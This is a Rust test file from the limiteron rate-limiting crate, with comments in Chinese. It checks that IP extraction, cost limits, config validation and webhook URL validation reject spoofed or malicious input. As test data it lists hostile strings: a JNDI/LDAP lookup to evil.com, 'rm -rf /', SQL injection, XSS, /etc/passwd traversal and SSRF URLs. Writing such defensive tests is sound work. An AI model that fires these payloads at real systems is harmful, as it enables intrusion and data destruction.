limiteron 0.2.10

Unified flow control framework for Rust
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
// Copyright (c) 2026 Kirky.X
// SPDX-License-Identifier: MIT
//! 输入验证安全测试
//!
//! 测试覆盖:
//! - IP 地址注入测试(X-Forwarded-For 伪造测试、代理信任链验证)
//! - 数值注入测试(负数消费拒绝、整数溢出保护)
//! - 配置注入测试(恶意配置拒绝、配置验证覆盖)

use limiteron::config::TrustedProxyConfig;
use limiteron::error::LimiteronError;
use limiteron::limiters::{Limiter, TokenBucketLimiter};
use limiteron::matchers::{Identifier, IdentifierExtractor, IpExtractor, RequestContext};

// 注意:以下符号无法从外部测试访问:
// - MAX_COST 是 pub(crate)(src/constants.rs:22),使用字面量 1_000_000u64 替代
// - ConfigSecurityValidator 在 src/config/mod.rs:39 被注释掉,尚未实现
// - validate_webhook_url 是 pub(crate)(src/webhook_validator.rs:25),且签名需 require_https 参数

// ============================================================================
// IP 地址注入测试
// ============================================================================
//
// vuln-0003 修复后,X-Forwarded-For 等转发头仅在直接 TCP 对端(client_ip)
// 为可信代理时才被信任;非可信代理直连时必须忽略转发头,回退到直接对端 IP。

/// 测试 X-Forwarded-For 头伪造攻击
///
/// 攻击场景:攻击者尝试通过伪造 X-Forwarded-For 头来绕过 IP 限制
/// 防御措施(vuln-0003 修复后):
/// - 非可信代理直连时必须忽略 X-Forwarded-For,使用直接 TCP 对端 IP
/// - 可信代理转发时从右向左跳过可信代理 IP,取第一个非可信 IP 作为客户端 IP
#[tokio::test]
async fn test_x_forwarded_for_spoofing() {
    // 场景1: 攻击者直连服务器,发送伪造的 X-Forwarded-For 头
    // 修复前:返回 "1.2.3.4"(伪造成功,不安全)
    // 修复后:返回攻击者真实 IP(直接对端,忽略伪造头)
    let extractor = IpExtractor::from_header("x-forwarded-for");
    let ctx = RequestContext::new()
        .with_header("x-forwarded-for", "1.2.3.4, 192.168.1.100, 10.0.0.1")
        .with_client_ip("203.0.113.99");
    let result = extractor.extract(&ctx);
    assert!(result.is_some());
    assert_eq!(
        result.unwrap(),
        Identifier::Ip("203.0.113.99".to_string()),
        "非可信代理直连时必须忽略 X-Forwarded-For,使用直接对端 IP"
    );

    // 场景2: 攻击者直连但未提供 client_ip(无 socket 信息)
    // 修复后:无法验证对端,必须忽略 X-Forwarded-For,返回 None
    let ctx = RequestContext::new().with_header("x-forwarded-for", "192.168.1.100, 10.0.0.1");
    let result = extractor.extract(&ctx);
    assert!(
        result.is_none(),
        "缺少直接对端地址时必须忽略 X-Forwarded-For"
    );

    // 场景3: 可信代理转发,攻击者在头左边添加伪造 IP
    // X-Forwarded-For: 伪造IP, 真实客户端IP, 可信代理IP
    // 修复后:从右向左跳过可信代理,取第一个非可信 IP(即真实客户端 IP)
    let config = TrustedProxyConfig {
        enabled: true,
        proxies: vec!["10.0.0.1".to_string()],
        max_hops: 10,
    };
    let extractor =
        IpExtractor::with_trusted_proxies(vec!["x-forwarded-for".to_string()], true, config);
    let ctx = RequestContext::new()
        .with_header("x-forwarded-for", "1.2.3.4, 192.168.1.100, 10.0.0.1")
        .with_client_ip("10.0.0.1");
    let result = extractor.extract(&ctx);
    assert!(result.is_some());
    assert_eq!(
        result.unwrap(),
        Identifier::Ip("192.168.1.100".to_string()),
        "可信代理转发时应从右向左跳过可信代理,取真实客户端 IP(而非伪造的最左 IP)"
    );
}

/// 测试无效 IP 地址注入
///
/// 攻击场景:攻击者尝试注入无效 IP 格式导致解析错误或绕过验证
/// 防御措施:系统应拒绝无效 IP 格式
#[tokio::test]
async fn test_invalid_ip_injection() {
    let extractor = IpExtractor::from_header("x-forwarded-for");

    // 测试无效 IP 格式
    let invalid_ips = vec![
        "not-an-ip",
        "999.999.999.999",
        "192.168.1",
        "192.168.1.1.1",
        "",
        "   ",
        "192.168.1.1; DROP TABLE users--",
        "192.168.1.1\nHost: evil.com",
        "192.168.1.1\r\nX-Injected: true",
        "<script>alert('xss')</script>",
        "${jndi:ldap://evil.com/a}",
    ];

    for invalid_ip in invalid_ips {
        let ctx = RequestContext::new().with_header("x-forwarded-for", invalid_ip);
        let result = extractor.extract(&ctx);

        // 验证开启时,无效 IP 应被拒绝
        // 注意:extractor 默认启用验证
        if invalid_ip.contains(';')
            || invalid_ip.contains('\n')
            || invalid_ip.contains('\r')
            || invalid_ip.contains('<')
            || invalid_ip.contains('$')
            || invalid_ip.trim().is_empty()
        {
            // 这些恶意输入应被拒绝或返回 None
            if let Some(ip) = result {
                // 如果返回了结果,确保不是恶意内容
                assert!(!ip.as_str().contains(';'), "SQL注入未过滤: {}", invalid_ip);
                assert!(!ip.as_str().contains('\n'), "换行符未过滤: {}", invalid_ip);
                assert!(!ip.as_str().contains('\r'), "回车符未过滤: {}", invalid_ip);
                assert!(!ip.as_str().contains('<'), "XSS未过滤: {}", invalid_ip);
                assert!(!ip.as_str().contains('$'), "模板注入未过滤: {}", invalid_ip);
            }
        }
    }
}

/// 测试 IPv6 地址注入
///
/// 验证系统正确处理 IPv6 地址格式
#[tokio::test]
async fn test_ipv6_injection() {
    // vuln-0003: 通过可信代理转发时,验证 IPv6 地址可被正确提取
    let config = TrustedProxyConfig {
        enabled: true,
        proxies: vec!["10.0.0.1".to_string()],
        max_hops: 10,
    };
    let extractor =
        IpExtractor::with_trusted_proxies(vec!["x-forwarded-for".to_string()], true, config);

    // 有效的 IPv6 地址
    let valid_ipv6 = vec![
        "::1",
        "2001:0db8:85a3:0000:0000:8a2e:0370:7334",
        "2001:db8:85a3::8a2e:370:7334",
        "::ffff:192.168.1.1",
        "fe80::1",
        "fc00::1",
    ];

    for ip in valid_ipv6 {
        let ctx = RequestContext::new()
            .with_header("x-forwarded-for", ip)
            .with_client_ip("10.0.0.1");
        let result = extractor.extract(&ctx);
        assert!(result.is_some(), "Valid IPv6 should be accepted: {}", ip);
    }
}

/// 测试 IP 列表解析安全性
///
/// 验证系统正确处理包含多个 IP 的 X-Forwarded-For 头
#[tokio::test]
async fn test_ip_list_parsing_security() {
    // vuln-0003: 通过可信代理转发时,验证 IP 列表解析与 DoS 防护
    let config = TrustedProxyConfig {
        enabled: true,
        proxies: vec!["10.0.0.1".to_string()],
        max_hops: 10,
    };
    let extractor =
        IpExtractor::with_trusted_proxies(vec!["x-forwarded-for".to_string()], true, config);

    // 测试包含空格和空元素的 IP 列表
    // 从右向左查找:10.0.0.1 (可信) → 跳过;(空) → 跳过;192.168.1.1 (非可信) → 返回
    let ctx = RequestContext::new()
        .with_header("x-forwarded-for", "  192.168.1.1  ,  , 10.0.0.1  ")
        .with_client_ip("10.0.0.1");
    let result = extractor.extract(&ctx);
    assert!(result.is_some());
    assert_eq!(result.unwrap(), Identifier::Ip("192.168.1.1".to_string()));

    // 测试超大 IP 列表(DoS 防护)
    // max_hops 默认是 10,超过时 parse_forwarded_chain 拒绝解析整个 X-Forwarded-For 头。
    // vuln-0003: 头解析失败后,extract() 回退到直接对端 IP(client_ip),始终可信。
    // 因此超 max_hops 时不会返回 None,而是返回直接对端 IP(拒绝伪造头,使用真实对端)。
    let many_ips: String = (0..20)
        .map(|i| format!("192.168.{}.{}", i / 256, i % 256))
        .collect::<Vec<_>>()
        .join(", ");
    let ctx = RequestContext::new()
        .with_header("x-forwarded-for", &many_ips)
        .with_client_ip("10.0.0.1");
    let result = extractor.extract(&ctx);
    // 超过 max_hops 限制:X-Forwarded-For 头被拒绝,回退到直接对端 IP
    assert!(
        result.is_some(),
        "超过 max_hops 限制时应回退到直接对端 IP,不应返回 None"
    );
    assert_eq!(
        result.unwrap(),
        Identifier::Ip("10.0.0.1".to_string()),
        "超过 max_hops 限制时应忽略 X-Forwarded-For,使用直接对端 IP"
    );

    // 测试在限制内的 IP 列表
    let few_ips: String = (0..5)
        .map(|i| format!("192.168.{}.{}", i / 256, i % 256))
        .collect::<Vec<_>>()
        .join(", ");
    let ctx = RequestContext::new()
        .with_header("x-forwarded-for", &few_ips)
        .with_client_ip("10.0.0.1");
    let result = extractor.extract(&ctx);
    // 在限制内,应该成功
    assert!(result.is_some());
}

/// 测试代理信任链验证
///
/// 验证系统在多代理场景下的 IP 提取行为
#[tokio::test]
async fn test_proxy_trust_chain() {
    // vuln-0003: 通过可信代理转发时,验证头优先级与多代理链解析
    let config = TrustedProxyConfig {
        enabled: true,
        proxies: vec!["10.0.0.1".to_string(), "10.0.0.2".to_string()],
        max_hops: 10,
    };
    // 创建从多个头提取的 extractor
    let extractor = IpExtractor::with_trusted_proxies(
        vec!["x-real-ip".to_string(), "x-forwarded-for".to_string()],
        true,
        config,
    );

    // 场景1: X-Real-IP 优先级高于 X-Forwarded-For
    // 可信代理 10.0.0.1 直连,X-Real-IP 头优先被读取,单 IP 直接返回
    let ctx = RequestContext::new()
        .with_header("x-real-ip", "10.0.0.1")
        .with_header("x-forwarded-for", "192.168.1.1, 10.0.0.2")
        .with_client_ip("10.0.0.1");
    let result = extractor.extract(&ctx);
    assert!(result.is_some());
    assert_eq!(result.unwrap(), Identifier::Ip("10.0.0.1".to_string()));

    // 场景2: 只有 X-Forwarded-For(可信代理 10.0.0.1 直连)
    // 从右向左:10.0.0.2 (可信) → 跳过;192.168.1.1 (非可信) → 返回
    let ctx = RequestContext::new()
        .with_header("x-forwarded-for", "192.168.1.1, 10.0.0.2")
        .with_client_ip("10.0.0.1");
    let result = extractor.extract(&ctx);
    assert!(result.is_some());
    assert_eq!(result.unwrap(), Identifier::Ip("192.168.1.1".to_string()));

    // 场景3: 使用 client_ip 字段(默认配置,无可信代理,回退到直接对端 IP)
    let extractor_default = IpExtractor::from_headers(vec!["x-real-ip", "x-forwarded-for"]);
    let ctx = RequestContext::new().with_client_ip("172.16.0.1");
    let result = extractor_default.extract(&ctx);
    assert!(result.is_some());
    assert_eq!(result.unwrap(), Identifier::Ip("172.16.0.1".to_string()));
}

// ============================================================================
// 数值注入测试
// ============================================================================

/// 测试零成本消费拒绝
///
/// 攻击场景:攻击者尝试使用零成本绕过限流
/// 防御措施:系统应拒绝零成本请求
#[tokio::test]
async fn test_zero_cost_rejection() {
    let limiter = TokenBucketLimiter::new(100, 10);

    // 零成本应被拒绝
    let result = limiter.allow(0).await;
    assert!(result.is_err(), "Zero cost should be rejected");

    if let Err(e) = result {
        assert!(matches!(e, LimiteronError::ConfigError(_)));
        assert!(e.to_string().contains("zero") || e.to_string().contains("0"));
    }
}

/// 测试负数消费拒绝
///
/// 注意:Rust 的 u64 类型天然防止负数,但测试边界条件
#[tokio::test]
async fn test_negative_cost_protection() {
    let limiter = TokenBucketLimiter::new(100, 10);

    // 由于 cost 是 u64,无法直接传入负数
    // 但可以测试接近零的行为
    let result = limiter.allow(1).await;
    assert!(result.is_ok(), "Minimum valid cost should be accepted");
}

/// 测试整数溢出保护
///
/// 攻击场景:攻击者尝试使用极大值导致整数溢出
/// 防御措施:系统应有最大成本限制
#[tokio::test]
async fn test_integer_overflow_protection() {
    let limiter = TokenBucketLimiter::new(100, 10);

    // 测试超过最大成本限制
    // MAX_COST = 1_000_000(src/constants.rs:22,pub(crate) 无法导入)
    let excessive_cost = 1_000_000u64 + 1;
    let result = limiter.allow(excessive_cost).await;
    assert!(
        result.is_err(),
        "Cost exceeding MAX_COST should be rejected"
    );

    if let Err(e) = result {
        assert!(matches!(e, LimiteronError::ConfigError(_)));
    }

    // 测试 u64 最大值
    let max_u64 = u64::MAX;
    let result = limiter.allow(max_u64).await;
    assert!(result.is_err(), "u64::MAX cost should be rejected");
}

/// 测试边界值处理
///
/// 验证系统正确处理边界值
#[tokio::test]
async fn test_boundary_values() {
    let limiter = TokenBucketLimiter::new(100, 10);

    // 测试最小有效成本
    let result = limiter.allow(1).await;
    assert!(result.is_ok());

    // 测试最大有效成本
    // MAX_COST = 1_000_000(src/constants.rs:22,pub(crate) 无法导入)
    let result = limiter.allow(1_000_000u64).await;
    // 注意:即使成本有效,也可能因令牌不足被拒绝
    // 但不应因成本验证错误而失败
    match result {
        Ok(_) | Err(LimiteronError::LimitError(_)) => {}
        Err(e) => panic!("Unexpected error for MAX_COST: {:?}", e),
    }

    // 测试容量边界
    let result = limiter.allow(100).await;
    assert!(result.is_ok(), "Cost equal to capacity should be allowed");
}

/// 测试容量和速率的边界值
///
/// 验证系统对容量和速率参数的边界处理
#[tokio::test]
async fn test_capacity_and_rate_boundaries() {
    // 测试零容量
    let limiter = TokenBucketLimiter::new(0, 10);
    let result = limiter.allow(1).await;
    // 零容量意味着无法消费任何令牌
    assert!(result.is_ok());
    assert!(!result.unwrap(), "Zero capacity should deny all requests");

    // 测试零填充速率
    let limiter = TokenBucketLimiter::new(100, 0);
    // 零填充速率意味着令牌不会补充
    // 初始容量仍可使用
    let result = limiter.allow(1).await;
    assert!(result.is_ok());
}

// ============================================================================
// 配置注入测试
// ============================================================================

/// 测试恶意配置拒绝
///
/// 攻击场景:攻击者尝试注入恶意配置
/// 防御措施:系统应验证配置安全性
#[cfg(any())]
#[test]
fn test_malicious_config_rejection() {
    // 测试包含特殊字符的规则 ID
    let config = FlowControlConfig {
        version: "1.0.0".to_string(),
        global: GlobalConfig::default(),
        rules: vec![Rule {
            id: "rule<script>alert(1)</script>".to_string(),
            name: "Malicious Rule".to_string(),
            priority: 100,
            matchers: vec![],
            limiters: vec![],
            action: ActionConfig::default(),
        }],
    };

    let report = ConfigSecurityValidator::validate_config(&config);
    assert!(
        !report.is_safe,
        "Config with XSS in rule ID should be rejected"
    );
    assert!(report.warnings.iter().any(|w| w.contains("特殊字符")));

    // 测试包含 SQL 注入的配置
    let config = FlowControlConfig {
        version: "1.0.0".to_string(),
        global: GlobalConfig::default(),
        rules: vec![Rule {
            id: "rule'; DROP TABLE rules;--".to_string(),
            name: "SQL Injection Rule".to_string(),
            priority: 100,
            matchers: vec![],
            limiters: vec![],
            action: ActionConfig::default(),
        }],
    };

    let report = ConfigSecurityValidator::validate_config(&config);
    assert!(
        !report.is_safe,
        "Config with SQL injection should be rejected"
    );
}

/// 测试配置验证覆盖
///
/// 验证系统对各种配置参数的验证
#[cfg(any())]
#[test]
fn test_config_validation_coverage() {
    // 测试无效存储类型
    let config = FlowControlConfig {
        version: "1.0.0".to_string(),
        global: GlobalConfig {
            storage: "invalid_storage".to_string(),
            cache: "memory".to_string(),
            metrics: "prometheus".to_string(),
        },
        rules: vec![],
    };

    let report = ConfigSecurityValidator::validate_config(&config);
    assert!(!report.is_safe, "Invalid storage type should be rejected");

    // 测试无效缓存类型
    let config = FlowControlConfig {
        version: "1.0.0".to_string(),
        global: GlobalConfig {
            storage: "memory".to_string(),
            cache: "invalid_cache".to_string(),
            metrics: "prometheus".to_string(),
        },
        rules: vec![],
    };

    let report = ConfigSecurityValidator::validate_config(&config);
    assert!(!report.is_safe, "Invalid cache type should be rejected");

    // 测试无效指标类型
    let config = FlowControlConfig {
        version: "1.0.0".to_string(),
        global: GlobalConfig {
            storage: "memory".to_string(),
            cache: "memory".to_string(),
            metrics: "invalid_metrics".to_string(),
        },
        rules: vec![],
    };

    let report = ConfigSecurityValidator::validate_config(&config);
    assert!(!report.is_safe, "Invalid metrics type should be rejected");
}

/// 测试限流器配置验证
#[cfg(any())]
#[test]
fn test_limiter_config_validation() {
    // 测试零容量令牌桶
    let config = FlowControlConfig {
        version: "1.0.0".to_string(),
        global: GlobalConfig::default(),
        rules: vec![Rule {
            id: "test_rule".to_string(),
            name: "Test Rule".to_string(),
            priority: 100,
            matchers: vec![],
            limiters: vec![LimiterConfig::TokenBucket {
                capacity: 0,
                refill_rate: 10,
            }],
            action: ActionConfig::default(),
        }],
    };

    let report = ConfigSecurityValidator::validate_config(&config);
    assert!(!report.is_safe, "Zero capacity should be rejected");

    // 测试过大容量
    let config = FlowControlConfig {
        version: "1.0.0".to_string(),
        global: GlobalConfig::default(),
        rules: vec![Rule {
            id: "test_rule".to_string(),
            name: "Test Rule".to_string(),
            priority: 100,
            matchers: vec![],
            limiters: vec![LimiterConfig::TokenBucket {
                capacity: 10_000_000,
                refill_rate: 10,
            }],
            action: ActionConfig::default(),
        }],
    };

    let report = ConfigSecurityValidator::validate_config(&config);
    assert!(
        !report.is_safe,
        "Excessive capacity should generate warning"
    );
}

/// 测试匹配器配置验证
#[cfg(any())]
#[test]
fn test_matcher_config_validation() {
    // 测试包含特殊字符的用户 ID
    let config = FlowControlConfig {
        version: "1.0.0".to_string(),
        global: GlobalConfig::default(),
        rules: vec![Rule {
            id: "test_rule".to_string(),
            name: "Test Rule".to_string(),
            priority: 100,
            matchers: vec![Matcher::User {
                user_ids: vec!["user<script>".to_string()],
            }],
            limiters: vec![LimiterConfig::TokenBucket {
                capacity: 100,
                refill_rate: 10,
            }],
            action: ActionConfig::default(),
        }],
    };

    let report = ConfigSecurityValidator::validate_config(&config);
    assert!(
        !report.is_safe,
        "User ID with special characters should be rejected"
    );

    // 测试包含特殊字符的 IP 范围
    let config = FlowControlConfig {
        version: "1.0.0".to_string(),
        global: GlobalConfig::default(),
        rules: vec![Rule {
            id: "test_rule".to_string(),
            name: "Test Rule".to_string(),
            priority: 100,
            matchers: vec![Matcher::Ip {
                ip_ranges: vec!["192.168.1.1<script>".to_string()],
            }],
            limiters: vec![LimiterConfig::TokenBucket {
                capacity: 100,
                refill_rate: 10,
            }],
            action: ActionConfig::default(),
        }],
    };

    let report = ConfigSecurityValidator::validate_config(&config);
    assert!(
        !report.is_safe,
        "IP range with special characters should be rejected"
    );
}

/// 测试版本号验证
#[cfg(any())]
#[test]
fn test_version_validation() {
    // 测试空版本号
    let config = FlowControlConfig {
        version: "".to_string(),
        global: GlobalConfig::default(),
        rules: vec![],
    };

    let report = ConfigSecurityValidator::validate_config(&config);
    assert!(!report.is_safe, "Empty version should be rejected");

    // 测试过长版本号
    let config = FlowControlConfig {
        version: "a".repeat(100),
        global: GlobalConfig::default(),
        rules: vec![],
    };

    let report = ConfigSecurityValidator::validate_config(&config);
    assert!(
        !report.is_safe,
        "Excessively long version should be rejected"
    );

    // 测试包含特殊字符的版本号
    let config = FlowControlConfig {
        version: "1.0.0<script>".to_string(),
        global: GlobalConfig::default(),
        rules: vec![],
    };

    let report = ConfigSecurityValidator::validate_config(&config);
    assert!(
        !report.is_safe,
        "Version with special characters should be rejected"
    );
}

/// 测试优先级验证
#[cfg(any())]
#[test]
fn test_priority_validation() {
    // 测试过高优先级
    let config = FlowControlConfig {
        version: "1.0.0".to_string(),
        global: GlobalConfig::default(),
        rules: vec![Rule {
            id: "test_rule".to_string(),
            name: "Test Rule".to_string(),
            priority: 100000,
            matchers: vec![],
            limiters: vec![LimiterConfig::TokenBucket {
                capacity: 100,
                refill_rate: 10,
            }],
            action: ActionConfig::default(),
        }],
    };

    let report = ConfigSecurityValidator::validate_config(&config);
    assert!(
        !report.is_safe,
        "Excessive priority should generate warning"
    );
}

// ============================================================================
// 综合安全测试
// ============================================================================

/// 测试输入验证的综合安全性
///
/// 验证系统对多种攻击向量的综合防护
#[tokio::test]
async fn test_comprehensive_input_security() {
    // 测试 IP 提取器的安全性
    let extractor = IpExtractor::from_header("x-forwarded-for");

    let malicious_inputs = vec![
        // SQL 注入尝试
        "192.168.1.1'; DROP TABLE users;--",
        // 命令注入尝试
        "192.168.1.1; rm -rf /",
        // XSS 尝试
        "192.168.1.1<script>alert('xss')</script>",
        // 路径遍历尝试
        "192.168.1.1../../../etc/passwd",
        // LDAP 注入尝试
        "192.168.1.1)(cn=*))(|(cn=*",
        // 模板注入尝试
        "192.168.1.1{{7*7}}",
    ];

    for input in malicious_inputs {
        let ctx = RequestContext::new().with_header("x-forwarded-for", input);
        let result = extractor.extract(&ctx);

        if let Some(ip) = result {
            let ip_str = ip.as_str();

            // 验证结果不包含恶意内容
            assert!(
                !ip_str.contains(';'),
                "SQL/Command injection not filtered: {}",
                input
            );
            assert!(!ip_str.contains('<'), "XSS not filtered: {}", input);
            assert!(
                !ip_str.contains(".."),
                "Path traversal not filtered: {}",
                input
            );
            assert!(
                !ip_str.contains('('),
                "LDAP injection not filtered: {}",
                input
            );
            assert!(
                !ip_str.contains('{'),
                "Template injection not filtered: {}",
                input
            );
        }
    }
}

// ============================================================================
// SSRF 防护测试
// ============================================================================

/// 测试 Webhook URL SSRF 防护
///
/// 攻击场景:攻击者尝试通过 Webhook URL 访问内部服务
/// 防御措施:系统应拒绝访问内部地址和私有 IP
#[cfg(any())]
#[tokio::test]
async fn test_webhook_url_ssrf_protection() {
    use limiteron::quota::validate_webhook_url;

    // 测试有效的外部 HTTPS URL(应通过)
    let valid_urls = vec![
        "https://api.example.com/webhook",
        "https://hooks.slack.com/services/xxx",
        "https://discord.com/api/webhooks/xxx",
    ];

    for url in valid_urls {
        let result = validate_webhook_url(url);
        assert!(result.is_ok(), "Valid URL should pass: {}", url);
    }

    // 测试无效的内部 URL(应被拒绝)
    let internal_urls = vec![
        // localhost 和回环地址
        ("https://localhost/webhook", "localhost should be blocked"),
        ("https://127.0.0.1/webhook", "127.0.0.1 should be blocked"),
        ("https://[::1]/webhook", "IPv6 loopback should be blocked"),
        // 私有 IP 地址
        (
            "https://10.0.0.1/webhook",
            "10.x.x.x private IP should be blocked",
        ),
        (
            "https://172.16.0.1/webhook",
            "172.16.x.x private IP should be blocked",
        ),
        (
            "https://192.168.1.1/webhook",
            "192.168.x.x private IP should be blocked",
        ),
        // 非 HTTPS 协议
        ("http://api.example.com/webhook", "HTTP should be blocked"),
    ];

    for (url, description) in internal_urls {
        let result = validate_webhook_url(url);
        assert!(result.is_err(), "{}", description);
    }
}

/// 测试 Webhook URL 恶意输入处理
///
/// 验证系统能安全处理各种恶意构造的 URL
#[cfg(any())]
#[test]
fn test_webhook_url_malicious_input() {
    use limiteron::quota::validate_webhook_url;

    let malicious_urls = vec![
        // 协议混淆
        "https://example.com@127.0.0.1/",
        "https://example.com#.evil.com/",
        "https://example.com\\@127.0.0.1/",
        // 特殊字符
        "https://127.0.0.1; DROP TABLE users--",
        "https://127.0.0.1\nHost: evil.com",
        // IDN 同形异义攻击(简化测试)
        "https://аррӏе.com/", // 可能的 Cyrillic 同形异义
    ];

    for url in malicious_urls {
        let result = validate_webhook_url(url);
        // 这些 URL 应该被拒绝或安全处理
        // 如果解析失败也应该被拒绝
        if url.contains("127.0.0.1") || url.contains("localhost") {
            assert!(
                result.is_err(),
                "Internal address should be blocked: {}",
                url
            );
        }
    }
}

/// 测试 RequestContext 的安全性
///
/// 验证请求上下文不会泄露敏感信息
#[test]
fn test_request_context_security() {
    let ctx = RequestContext::new()
        .with_header("authorization", "Bearer secret-token-12345")
        .with_header("x-api-key", "sk-secret-api-key-67890")
        .with_header("cookie", "session=secret-session-id")
        .with_header("x-custom", "normal-value");

    // Debug 输出应脱敏敏感头
    let debug_output = format!("{:?}", ctx);

    // 敏感值应被脱敏
    assert!(
        !debug_output.contains("secret-token-12345"),
        "Authorization header not redacted"
    );
    assert!(
        !debug_output.contains("sk-secret-api-key-67890"),
        "API key not redacted"
    );
    assert!(
        !debug_output.contains("secret-session-id"),
        "Cookie not redacted"
    );

    // 非敏感值应保留
    assert!(
        debug_output.contains("normal-value"),
        "Non-sensitive header should be preserved"
    );
}